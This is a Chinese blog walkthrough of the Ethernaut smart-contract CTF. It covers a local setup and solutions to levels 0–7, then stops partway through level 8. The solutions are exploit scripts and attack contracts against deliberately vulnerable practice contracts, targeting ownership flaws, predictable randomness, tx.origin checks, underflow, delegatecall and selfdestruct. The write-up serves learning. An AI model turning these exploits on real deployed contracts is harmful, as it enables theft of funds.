如题,想练练区块链的题目,网上找了一圈发现题目大多都不在Running,后来@sh1k4ku推荐了Ethernaut,于是,开刷。

Ethernaut的题目都比较简单,适合入门食用。

篇幅上我打算把全部题目写成一篇,想看对应题目的话直接点TOC跳转即可,当然推荐一直往下读(

介绍篇·

首先介绍一下区块链/以太坊的一些概念,下面一些内容参考了@Van1sh初探以太坊

常见的区块链题目都会给出三个链接:RPC(Remote Procedure Call)、Faucet(水龙头/水管)和题目链接

  • RPC:可以大概理解为链的提供者,我们需要链接上一个RPC后才可以在上面进行创建账户、部署合约、调用合约等操作。

  • Faucet:可以理解为免费的提款机(水龙头就是源源不断有水流出的意思),通常把自己钱包的公钥输进去后就会给你打钱,以太坊中的很多操作都需要付Gas(燃料费,可以理解为手续费),所以创建账户后首先要记得去水龙头拿钱。

    但要注意如果用的是公共测试链的话需要一定拿钱门槛,而且给的还贼少,主链的话就不可能免费了,通常要用USD去换。

  • 题目链接:用来部署题目、提交答案等,通常题目代码在这拿。

不过在Ethernaut上会有点不一样,一会细说,先把概念记住就好。

除了上面三个链接,我们还需要一个钱包(或者说一个账户),常用的是MetaMask(小狐狸),按照指引装上他的浏览器插件即可,装完后在上面创建一个新的账户,然后就可以进Ethernaut了。

Ethernaut介绍·

访问:https://ethernaut.openzeppelin.com/

如果你是第一次访问的话他会叫你设置网络(这个网络指的是RPC,不是互联网),如果你在配置过MetaMask中配置好网络的话点击“deploy”(部署)即可,如果看不懂的话暂时选它推荐的Sepolia即可,反正一会可以改的。(这里我没截到图,反正大概意思-)

PS:Sepolia是以太坊的一个公共测试链。

进去后点击右上角的设置,可以先把语言改了,然后如果刚才的网络没选好的话也可以在这里更改(不过好像只能选公共测试链)

另外网络也可以在MetaMask里改,点击MetaMask插件左上角选择网络,打开测试网络然后选择你想要用的网络即可,这里就可以选私链

最后稍微对应一下上面的三个概念,

首先RPC就是这里的网络,由于Ethernaut和MetaMask把连接的过程抽象成按钮点击,所以并不需要知道RPC的地址(链接),实在想知道的话可以在Alchemy上查,比如Sepolia的话可以在这里查到:

  • PRC URL:https://rpc.sepolia.org

  • Chain ID:11155111

  • Block Explorer:https://sepolia.etherscan.io,可以在这里查看该链上的区块(Block)信息

PS:如果你想脱离Ethernaut平台自己写脚本的话,以上信息是必须知道的。

然后是Faucet,如果用的是公共测试链,就需要自己去找Faucet,还是拿Sepolia做例子,可以在这里找到一些比较多人用的水管,但我自己试了一下除了testnet-faucet(每小时可以拿0.001测试币),其他不是代理问题就是需要主链有0.001ETH(PS:主链起充200+RMB)

之前也试过RockX,但用了一段时间后也说需要主链有币才能用,emmm,所以公链的水管就需要自己想办法了

如果是私链的话,都是自己搭的链,改个数字就好了吧(x),比如自己本地搭Ethernaut的话会提供几个初始账户,里面各有10000 ETH。

最后题目链接就是刚才的平台。

搭建私链/Ethernaut平台·

如刚才说的,公链测试币太难拿了,所以不如自己搭个私链,还不用怕在公链上乱搞被骂

在这其实有几个选择,你可以

  • Ethernaut的GitHub上的指引搭建一个完整的本地平台,这个一会细说
  • 也可以按Ethernaut的指引搭建好私链并部署好协议后,访问在线的Ethernaut平台,你可以认为Ethernaut平台只是一个前端,因为部署Ethernaut的时候会有各种坑,如果平台实在没建起来的话可以凑合用着在线的(不过链是自己的)
  • 当然也可用GethHardhat等搭建自己的私链,MetaMask连上链后,访问Ethernaut,但是还要自己把题目部署上链,有点麻烦

下面马克一下我部署Ethernaut的过程

首先把项目克隆下来

1
2
git clone git@github.com:OpenZeppelin/ethernaut.git
cd ethernaut

然后你需要安装NodeJS,这里建议装16.x的版本,因为旧了会报错,新了也会报错。。。

比较推荐使用NVM(我Windows的话是NVM for Windows),Releases里下载安装后

1
2
nvm install 16
nvm use 16

即可,如无意外执行nvm list会显示(版本可能不一样)

如果执行多次都没显示(Currently using 64-bit executable)的话,可能需要删除安装时填的那个nodejs,再执行nvm use 16,参考:这里

然后需要装yarn-g是全局的意思,如果不想全局的话。。。自己解决吧-)

1
npm install yarn -g

然后就可以跟着GitHub上的指引安装,首先安装依赖

1
yarn install

开启私链(基于Hardhat,但不用自己另外装,上面已经装了)

1
yarn network

执行完后会打印出20个测试账户,里面各有10000 ETH,一会刷题可以使用这些账户,就不用折腾水管了

另外,这个窗口不能关闭,否则链就关了,所以下面命令需要另外开一个窗口

接着编译题目

1
yarn compile:contracts

打开client/src/constants.js,把ACTIVE_NETWORK设置为NETWORKS.LOCAL(有一行注释的,删掉注释即可)

另外client/src/constants.js行17的url: "http://localhost"改为url: "http://127.0.0.1",不然一会部署题目可能会报CONNECTION ERROR,参考:这里

部署题目

1
yarn deploy:contracts

如无意外的话到这里私链就搭好了,如果不想继续弄下去的话可以在MetaMask中选择Localhost 8545的私链后访问在线的Ethernaut平台

接下来开启本地平台

1
yarn start:ethernaut

PS:当时我用18.x的NodeJS报0308010C:digital envelope routines::unsupported,降级为16.x后就没问题,参考:这里

如无意外的话会弹到http://localhost:3000/,上面有一个和在线版一模一样的Ethernaut平台

接着打开MetaMask,网络选择Localhost 8545,然后导入账户,在刚才yarn network的列表中选一个私钥导入,到这里如果看到自己的1w ETH就算配置成功了

下面开始愉快地刷题

PS:如果把network关闭再重启后,MetaMask上可能会出现nonce不对的情况,这时在MetaMask中:设置 -> 高级 -> 清楚活动选项卡数据清一下nonce即可,不过注意之前的交易记录会被清调,谨慎操作

00_Hello Ethernaut·

点击开始进入第0关

上面有一些平台的指引,MetaMask刚才已经配置好了,接下来打开控制台:Ctrl + Shift + iF12,然后转到Console,输help()可获得所有指令,可以都试试

点“生成新实例”开始游戏,会弹出MetaMask要求交手续费,点确认即可,然后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
await contract.info()
// 'You will find what you need in info1().'

await contract.info1()
// 'Try info2(), but with "hello" as a parameter.'

await contract.info2('hello')
// 'The property infoNum holds the number of the next info method to call.'

(await contract.infoNum()).words[0]
// 42

await contract.info42()
// 'theMethodName is the name of the next method.'

await contract.theMethodName()
// 'The method name is method7123949.'

await contract.method7123949()
// 'If you know the password, submit it to authenticate().'

await contract.password()
// 'ethernaut0'

await contract.authenticate('ethernaut0')

执行contract.authenticate('ethernaut0'),需要交手续费,最后提交实例,也要手续费

PS:关于手续费,如果一个操作需要写入,则需要手续费,如果是只读则不用(好像需要运算的也要?

通过后可以获得本关的题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Instance {

string public password;
uint8 public infoNum = 42;
string public theMethodName = 'The method name is method7123949.';
bool private cleared = false;

// constructor
constructor(string memory _password) {
password = _password;
}

function info() public pure returns (string memory) {
return 'You will find what you need in info1().';
}

function info1() public pure returns (string memory) {
return 'Try info2(), but with "hello" as a parameter.';
}

function info2(string memory param) public pure returns (string memory) {
if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) {
return 'The property infoNum holds the number of the next info method to call.';
}
return 'Wrong parameter.';
}

function info42() public pure returns (string memory) {
return 'theMethodName is the name of the next method.';
}

function method7123949() public pure returns (string memory) {
return 'If you know the password, submit it to authenticate().';
}

function authenticate(string memory passkey) public {
if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
cleared = true;
}
}

function getCleared() public view returns (bool) {
return cleared;
}
}

01_Fallback·

仔细看下面的合约代码.

通过这关你需要

  1. 获得这个合约的所有权
  2. 把他的余额减到0

这可能有帮助

  • 如何通过与ABI互动发送ether
  • 如何在ABI之外发送ether
  • 转换 wei/ether 单位 (参见 help() 命令)
  • Fallback 方法

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

mapping(address => uint) public contributions;
address public owner;

constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}

receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

其实只要执行receive就可以获得所有权,但还要绕过里面的require

首先check一下owner,显然不是我

1
2
owner = await contract.owner()
// '0x0165878A594ca255338adfa4d48449f69242Eb8F'

然后贡献点钱,绕过receive里的contributions[msg.sender] > 0,这里钱好像不能转太少,不然还是当作0,不懂solidity的小数机制(留坑),捐钱可以调用合约的contribute函数,捐多少钱可以通过输入value控制,其中toWei是把单位ETH转换为单位WeitoWei('0.0001')就是我要转0.0001 ETH的意思,只是这里value接受的单位是Wei,所以要转

1
await contract.contribute({value: toWei('0.0001')})

检查一下有没捐成功,刚才说了,因为会有一个小数的坑

1
2
(await contract.getContribution()).words
// (3) [8011776, 1490116, empty]

不是空的,就是成功了

接下来调receive,参考了一下receive函数的用法,对合约转账即可执行receive,比如用 transfer()send()call()函数进行转账,这里我直接调用Ethernaut给我封装好的contract.send函数,输入要转的Wei数量即可

1
await contract.send(1)

然后再测一下所有权

1
2
await contract.owner()
// '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266'

已经变成我了,提款然后提交实例即可

1
await contract.withdraw()

02_Fallout·

获得以下合约的所有权来完成这一关.

这可能有帮助

  • Solidity Remix IDE

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Fallout {

using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;


// constructor
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}

先看看owner

1
2
await contract.owner()
// '0x0000000000000000000000000000000000000000'

好家伙,构造函数是假的(真的应该是叫constructor()),凋一下Fal1out()获得控制权

1
2
3
await contract.Fal1out()
await contract.owner()
// '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266'

然后提交即可

03_Coin Flip (*)·

这是一个掷硬币的游戏,你需要连续的猜对结果。完成这一关,你需要通过你的超能力来连续猜对十次。

这可能能帮助到你

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

实际上是猜blockValueFACTOR大(true)还是小(false),blockValue是上一块的哈希,是公共信息,所以可以本地获取blockValue然后自己和FACTOR比较得出side

这题我尝试用三种方法解,顺便学学环境

JavaScript方法·

合约里的block.number可以通过JS的web3.eth.blockNumber获取,哈希可以通过(await web3.eth.getBlock(blockNumber)).hash计算,FACTOR是一常量,然后就可以算side

首先把FACTOR定死

1
const FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

然后算side并抛币

1
2
3
4
var num = await web3.eth.getBlockNumber();
var blockValue = Number((await web3.eth.getBlock(num)).hash);
var side = blockValue >= FACTOR;
await contract.flip(side)

检查一下有没抛成功

1
2
(await contract.consecutiveWins()).words[0]
// 1

重复10次即可。

绕过MetaMask调用·

但是,如果你是在公链上搞这题的话会有一个问题,就是在获取num后,计算side、提交到flip和在MetaMask上点击都需要时间,如果这段时间内公链上有其他人插入了新的区块,那么合约里的block.number就会大于num,从而退化为随机猜测,所以需要节约获取num到提交成功所消耗的时间

其中比较耗时的是MetaMask的弹出到点击,这里介绍另一种调用合约函数的方法

以上的合约调用都是使用Ethernaut封装好的contract,其实还有更通用的合约调用方法,

注:如果需要对合约进行写入,则需要提交手续费,而且需要使用账户的私钥对这笔交易进行签名,请注意不要轻易地暴露自己账户的私钥!(我是测试户所以没问题)

首先获取这个合约的实例,需要知道这个合约的ABI和合约地址,这里直接调用contract获取即可,然后把常量和私钥定一下

1
2
3
var contract2 = new web3.eth.Contract(contract.abi, contract.address);
const FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
const sk = 'ac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80';

同样,计算side

1
2
3
var num = await web3.eth.getBlockNumber();
var blockValue = Number((await web3.eth.getBlock(num)).hash);
var side = blockValue >= FACTOR;

然后调用flip函数,这里会有点麻烦,首先获取flip(side)的编码(注意这个编码是带输入的)

1
var functionEncode = await contract2.methods.flip(side).encodeABI();

然后需要自己填一些交易信息(之前是Ethernaut封装好的接口,所以可以省略这些信息,但这里要自己手动填)

1
2
3
4
5
const tx = {
gas: 300000,
to: contract.address,
data: functionEncode,
};

因为flip会更改consecutiveWins,所以需要用私钥签名

1
var sign = await web3.eth.accounts.signTransaction(tx, sk);

最后发送这笔交易(不会弹出MetaMask,但还是要给钱的)

1
var result = await web3.eth.sendSignedTransaction(sign.rawTransaction);

把全部合起来,重复10次,就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for (i=0; i<10; i++) {
console.log(i);
var nonce = await web3.eth.getTransactionCount(player, 'pending');
var num = await web3.eth.getBlockNumber();
var blockValue = Number((await web3.eth.getBlock(num)).hash);
var side = blockValue >= FACTOR;
var functionEncode = await contract2.methods.flip(side).encodeABI();
const tx = {
nonce: nonce,
gas: 300000,
to: contract.address,
data: functionEncode,
};
var sign = await web3.eth.accounts.signTransaction(tx, sk);
var result = await web3.eth.sendSignedTransaction(sign.rawTransaction);
}

然后再看看consecutiveWins

1
2
(await contract.consecutiveWins()).words[0]
// 11

提交即可

PS:.encodeABI()的操作其实也可以用web3.eth.abi.encodeFunctionCall,不过会比较麻烦,需要自己填ABI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var functionEncode = web3.eth.abi.encodeFunctionCall(
{
type: "function",
name: "flip",
inputs: [
{
type: "bool",
name: "_guess",
}
],
},
[side]
);
// '0x1d263f670000000000000000000000000000000000000000000000000000000000000000'

没输入的话可以直接web3.eth.abi.encodeFunctionSignature(不过这里显然有输入)

1
2
web3.eth.abi.encodeFunctionSignature('flip(bool)')
// '0x1d263f67'

还是原来的方便一点(

Python方法·

思路类似,只是写的代码不太一样。

首先需要先连接上Provider,要知道RPC的URL,就是http://localhost:8545

PS:关于RPC的信息,可以在MetaMask中:设置 -> 网络 -> 点击Localhost 8545查看,这里还可以获得链ID,后面会用到

连接Provider

1
2
3
4
5
6
7
8
from web3 import Web3, HTTPProvider
RPC_url = 'http://localhost:8545'
web3 = Web3(HTTPProvider(RPC_url))
state = web3.is_connected()
print(state)
if not state:
exit(-1)
# True

连接账户(PS:记得不要轻易泄露自己的私钥,我这只是测试户),顺便看看余额,能打印出来就是成功连上了

1
2
3
4
5
player = '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266'
sk = 'ac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80'
account = web3.eth.account.from_key(sk)
print(web3.eth.get_balance(player))
# 9999933250761801410840

连接合约,需要知道合约的ABI和合约地址,回到浏览器中

1
2
JSON.stringify(contract.abi)
contract.address

记下结果,然后回到Python代码中

1
2
3
4
5
6
7
import json
# JSON.stringify(contract.abi)
abi_json = '[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"consecutiveWins","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function","constant":true,"signature":"0xe6f334d7"},{"inputs":[{"internalType":"bool","name":"_guess","type":"bool"}],"name":"flip","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function","signature":"0x1d263f67"}]'
abi = json.loads(abi_json)
# contract.address
address = '0x94099942864EA81cCF197E9D71ac53310b1468D8'
contract2 = web3.eth.contract(abi=abi, address=address)

合约中只读函数直接调用即可,无需签名,下面调一下public变量consecutiveWins看看是否连接上

1
2
print(contract2.functions.consecutiveWins().call())
# 0

web3.py中,获取block.number使用的是web3.eth.block_number,下面计算side

1
2
3
4
FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968
num = web3.eth.block_number
blockValue = int(web3.eth.get_block(num).hash.hex(), 16)
side = blockValue >= FACTOR

类似地,调用flip(side)时先要获取其编码

1
functionEncode = contract2.encodeABI(fn_name="flip", args=[side])

填写交易信息,web3.py需要的信息会复杂一点,还需要填chainIdnoncegasPrice

  • chainId上面已经获取了,填上1337即可
  • nonce是一个递增的值,填web3.eth.get_transaction_count(account.address)即可,搞乱了后面修回来会很麻烦
  • gasPrice是燃料费,私链的话随便填一下就好了,公链的话就要考虑很多东西,建议避开高峰期然后参考市场价填(北京时间的早上,美国那边的下班时间好像会便宜一点),填太低的话要等很久才能交易,填太高就费钱,可以参考一下计费规则
1
2
3
4
5
6
7
8
9
10
11
12
chainId = int(1337)
nonce = int(web3.eth.get_transaction_count(account.address))
tx = {
'chainId': chainId,
'nonce': nonce,
'gasPrice': int(5000000),
'gas': int(50000),
'value': int(0),
'from': player,
'to': address,
'data': functionEncode,
}

对交易签名

1
sign = web3.eth.account.sign_transaction(tx, sk)

发送交易

1
2
hashTx = web3.eth.send_raw_transaction(sign.rawTransaction).hex()
result = web3.eth.wait_for_transaction_receipt(hashTx)

连着做10次的话就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from web3 import Web3, HTTPProvider
import json

chainId = int(1337)
RPC_url = 'http://localhost:8545'
web3 = Web3(HTTPProvider(RPC_url))

state = web3.is_connected()
print(state)
if not state:
exit(-1)
player = '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266'
sk = 'ac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80'
account = web3.eth.account.from_key(sk)
print(web3.eth.get_balance(player))

# JSON.stringify(contract.abi)
abi_json = '[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"consecutiveWins","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function","constant":true,"signature":"0xe6f334d7"},{"inputs":[{"internalType":"bool","name":"_guess","type":"bool"}],"name":"flip","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function","signature":"0x1d263f67"}]'
abi = json.loads(abi_json)
# contract.address
address = '0x94099942864EA81cCF197E9D71ac53310b1468D8'
contract2 = web3.eth.contract(abi=abi, address=address)
print(contract2.functions.consecutiveWins().call())

FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968
for i in range(10):
print('[Log] Doing: %d' % i)
print('[Log] %d' % web3.eth.get_balance(player))
nonce = int(web3.eth.get_transaction_count(account.address))
print('[Log] nonce: %d' % nonce)
num = web3.eth.block_number
print('[Log] num: %d' % num)
blockValue = int(web3.eth.get_block(num).hash.hex(), 16)
side = blockValue >= FACTOR
print('[Log] side: %s' % side)
functionEncode = contract2.encodeABI(fn_name="flip", args=[side])
tx = {
'chainId': chainId,
'nonce': nonce,
'gasPrice': int(5000000),
'gas': int(500000),
'value': int(0),
'from': player,
'to': address,
'data': functionEncode,
}
sign = web3.eth.account.sign_transaction(tx, sk)
hashTx = web3.eth.send_raw_transaction(sign.rawTransaction).hex()
print('[Log] Sending transaction ...')
result = web3.eth.wait_for_transaction_receipt(hashTx)
print(result)
win = contract2.functions.consecutiveWins().call()
print(win)
print()
# 10

返回浏览器提交即可

·

记一下之前在公链上搞踩过的坑,在调代码的时候,好像是签名了但交易没发出去或者发出去被中断时,因为交易没发出去,所以web3.eth.get_transaction_count(account.address)并没增加,但是不知道为啥实际上这个nonce已经被占用,导致报replacement transaction underpriced错误

手动增加nonce虽然没报错,但实际上因为前面交易没完成所以会一直在排队,增加到一定数量的话甚至会导致queued cost过高

正确的解决方法是,使用之前堵住的nonce,然后把gasPrice调高,用更高的gasPrice覆盖原来的交易,可以参考:这里

Solidity方法·

推荐使用在线的Remix-IDE编写、编译、部署Solidity的代码。

首先新建个文件,比如我叫hack.sol,然后写上攻击代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// https://learnblockchain.cn/question/2206
interface CoinFlip {
function consecutiveWins() external returns (uint256);
function flip(bool) external returns (bool);
}

contract Hack {
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
event Log(string);
event Log(uint256);
event Log(bool);

address cf_addr = 0x94099942864EA81cCF197E9D71ac53310b1468D8;
CoinFlip cf = CoinFlip(cf_addr);

function flip() public {
emit Log(block.number - 1);
uint256 blockValue = uint256(blockhash(block.number - 1));
emit Log(blockValue);

uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
emit Log(side);
cf.flip(side);
emit Log(cf.consecutiveWins());
}

function flipN(uint n) public {
for (uint i=0; i<n; i++) {
flip();
}
}

constructor() {

}
}

其中interface CoinFlip是题目合约的接口,用来调用题目的CoinFlip的函数,里面函数都要external,不然会报错,可以参考:这里

cf_addr是题目合约地址,flip()就是算一次side然后提交到题目的cf.flip(side)flipN就是做nflip()Log就是打log

保存后点Remix左边的编译器,选择0.8.0,然后编译

PS:编译完后,同一个页面的下面可以复制这个合约的ABIBytecode,不过暂时没啥用

编译完后Remix左边点到部署页面,环境选MetaMask,在MetaMask里切换好账户和网络,合约选刚才的hack.solGAS啥的自己看着设就好,然后点击部署,交钱

部署完成后下面“已部署的合约”中可以和这个合约交互

先点个flip试试,交钱,然后Remix右下角那个区域会出现这个交易的信息,点开翻到logs,可以看到刚才Log对应的输出,比如最后一个是Log(cf.consecutiveWins()),可以看到输出显示consecutiveWins变成了1

![屏幕截图 2023-09-19 150005](Ethernaut-note/屏幕截图 2023-09-19 150005.png)

单测成功,但是后来在flipN中输大于等于2n会报Transaction reverted without a reason string,不知道是不是异步的问题,留坑

手动按10次flip算了

PS:如果多的话还是需要在JS或Python中调用这个合约,算是一种不太方便的方法

04_Telephone·

获得下面合约来完成这一关

这可能有用

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

先看看owner

1
2
await contract.owner()
// '0x8A791620dd6260079BF849Dc5567aDC3F2FdC318'

tx.origin是最初的调用者,msg.sender是上一级的调用者,如果在别的合约中调用changeOwner,则tx.originplayermsg.sender是这个合约,造成tx.originmsg.sender不一致,获得所有权,参考:这里

攻击合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Telephone {
function owner() external;
function changeOwner(address _owner) external;
}

contract Hack {
address addr = 0x8aCd85898458400f7Db866d53FCFF6f0D49741FF;

function hack() public {
Telephone tp = Telephone(addr);
tp.changeOwner(msg.sender);
}

constructor() {

}
}

Remix部署,然后hack一下,再看看owner

1
2
await contract.owner()
// '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266'

提交

提交后显示:

比如this.

05_Token·

这一关的目标是攻破下面这个基础 token 合约

你最开始有20个 token, 如果你通过某种方法可以增加你手中的 token 数量,你就可以通过这一关,当然越多越好

这可能有帮助:

  • 什么是 odometer?

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

整数下溢,转走21块就好,首先看看余额

1
2
(await contract.balanceOf(player)).words[0]
// 20

然后给一个虚构的play2转账21

1
2
play2 = '0x0000000000000000000000000000000000000000';
await contract.transfer(play2, 21);

再看看余额,发生了溢出

1
2
(await contract.balanceOf(player)).words[0]
// 67108863

提交后:

06_Delegation·

这一关的目标是申明你对你创建实例的所有权.

这可能有帮助

  • 仔细看solidity文档关于 delegatecall 的低级函数, 他怎么运行的, 他如何将操作委托给链上库, 以及他对执行的影响.
  • Fallback 方法
  • 方法 ID

题目代码;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

address public owner;

constructor(address _owner) {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

直接看到fallback里有delegatecall (委托调用)

delegatecall 大概解释是,可以用来调用外部合约的方法,但是仅调用了外部合约的代码(code),所用的全局变量还是本合约中的变量,即可以调用外部代码修改本地变量,更多delegatecall 的解释可以参考:这里

在这个题中,调用Delegate里的pwn()可以获得所有权,而Delegation中的fallback里可以使用delegatecall调用Delegate里的pwn(),按上面所说,只会执行Delegate的代码,变量的修改还是在Delegation,所以即可以获得Delegation的所有权

问题剩下,怎么调用Delegate里的pwn(),在web3.js中可以通过web3.eth.abi.encodeFunctionSignature('pwn()')获得调用pwn()ABI,然后把这个ABI放到data中做交易即可

首先看看原owner

1
2
await contract.owner()
// '0xB7f8BC63BbcaD18155201308C8f3540b07f84F5e'

然后委托调用pwn()

1
2
3
4
5
6
7
8
9
var contract2 = new web3.eth.Contract(contract.abi, contract.address);
const sk = 'ac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80';
const tx = {
gas: 300000,
to: contract.address,
data: web3.eth.abi.encodeFunctionSignature('pwn()')
};
var sign = await web3.eth.accounts.signTransaction(tx, sk);
var result = await web3.eth.sendSignedTransaction(sign.rawTransaction);

再看看owner

1
2
await contract.owner()
'0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266'

提交即可

参见 The Parity Wallet Hack Explained

07_Force·

有些合约就是拒绝你的付款,就是这么任性 ¯\_(ツ)_/¯

这一关的目标是使合约的余额大于0

这可能有帮助:

  • Fallback 方法
  • 有时候攻击一个合约最好的方法是使用另一个合约.
  • 阅读上方的帮助页面, “Beyond the console” 部分

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)

*/}

(这不是什么都没写吗-)

可以在攻击合约中调用自毁函数selfdestruct发起强制转账,参考:这里

部署攻击合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Hack {
address payable vicAddr = payable(0xf41B47c54dEFF12f8fE830A411a09D865eBb120E);

constructor() {}

function transfer() public payable {
payable(address(this)).transfer(msg.value);
}

function hack() public {
selfdestruct(vicAddr);
}

receive() external payable {}
}

PS:没有receive函数的话转钱好像会报错,另外收钱的函数还要加payable(部署后在Remix中这个函数的按钮会显示红色),参考:这里这里

Remix中在以太币数量上填点钱(这里输入到合约中是msg.value),然后点击transfer转账,确认攻击合约收到钱后点hack触发自毁,然后把钱转到题目合约中

再查看题目合约的余额

1
2
await web3.eth.getBalance(contract.address)
// '100'

提交

08_Vault·

打开 vault 来通过这一关!

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

翻了一下这里虽然说bytes没有内置比较函数,但试了一下==是可行的(可能是因为bytes32直接定了长度,所以直接比较内存),所以应该不是==的漏洞

那应该就是password的问题,本来设想可以找到这个合约部署的区块来获得_password的输入,但是生成实例的交易只是生成实例的,部署的区块应该是平台开始的时候的那堆区块,翻起来有点麻烦,就算了

